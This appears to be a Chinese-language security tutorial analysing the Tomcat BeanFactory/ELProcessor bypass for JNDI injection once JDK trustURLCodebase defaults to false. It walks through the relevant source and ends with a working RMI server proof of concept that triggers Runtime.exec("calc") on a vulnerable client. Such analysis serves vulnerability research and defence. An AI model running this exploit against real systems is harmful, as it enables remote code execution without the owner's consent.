在JDK 6u132 7u122 8u113开始,trustURLCodebase默认为了false,其实意思就是不能加载远程RMI代码了。
本篇主要是讲解BeanFactory绕过方式
//检索此引用引用的对象的工厂位置。
String getFactoryClassLocation()
结合493行代码可以看到。会抛异常。
但是绕过此处if的话,可以将ref.getFactoryClassLocation()返回null,也就是说让ref对象的classFactoryLocation为null即可绕过
之后跟进NamingManager.getObjectInstance
首先分析ref.getFactoryClassName();逻辑
其实这个factory就是子类传过来的
而这个子类就是ResourceRef,在RMI传参时传入了BeanFactory
最终通过Reference来返回 org.apache.naming.factory.BeanFactory
接着回到NamingManager中,所以此时的factory就是BeanFactory
也就是说最终会调用到BeanFactory.getObjectInstance()中
继续跟进
public Object getObjectInstance(Object obj, Name name, Context nameCtx,
Hashtable<?,?> environment)
throws NamingException {
Reference ref = (Reference) obj;
String beanClassName = ref.getClassName();//获取ELProcess这个类路径的字符串
ClassLoader tcl = Thread.currentThread().getContextClassLoader();
// 1. 反射获取类对象
if (tcl != null) {
//tcl为AppClassLoader,用来获取这个类对象
beanClass = tcl.loadClass(beanClassName);
} else {
beanClass = Class.forName(beanClassName);
}
// 2. 初始化类实例 调用ELProcess这个类的无参构造
Object bean = beanClass.getConstructor().newInstance();
// 3. 根据 Reference 的属性查找 setter 方法的别名
RefAddr ra = ref.get("forceString");
String value = (String)ra.getContent();//x=eval
// 4. 循环解析别名并保存到字典中
for (String param: value.split(",")) {
param = param.trim();
index = param.indexOf('=');
if (index >= 0) {
//进行分割操作。x和eval分别存到变量中
setterName = param.substring(index + 1).trim();
param = param.substring(0, index).trim();
} else {
setterName = "set" +
param.substring(0, 1).toUpperCase(Locale.ENGLISH) +
param.substring(1);
}
forced.put(param, beanClass.getMethod(setterName, paramTypes));
}
// 5. 解析所有属性,并根据别名去调用 setter 方法
Enumeration<RefAddr> e = ref.getAll();
while (e.hasMoreElements()) {
ra = e.nextElement();
String propName = ra.getType();
String value = (String)ra.getContent();
Object[] valueArray = new Object[1];
Method method = forced.get(propName);
if (method != null) {
valueArray[0] = value;
method.invoke(bean, valueArray);
}
}
}
最终是通过反射执行
代码如下:
public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
Registry registry = LocateRegistry.createRegistry(7777);//注册中心绑定的端口
//绑定的恶意类
// Reference reference = new Reference("T","T","http://127.0.0.1:80");
//RemoteReference
ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "",
true, "org.apache.naming.factory.BeanFactory", null);
ref.add(new StringRefAddr("forceString", "x=eval"));
ref.add(new StringRefAddr("x", "Runtime.getRuntime().exec(\"calc\")"));
ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);
registry.bind("RCE",referenceWrapper);
}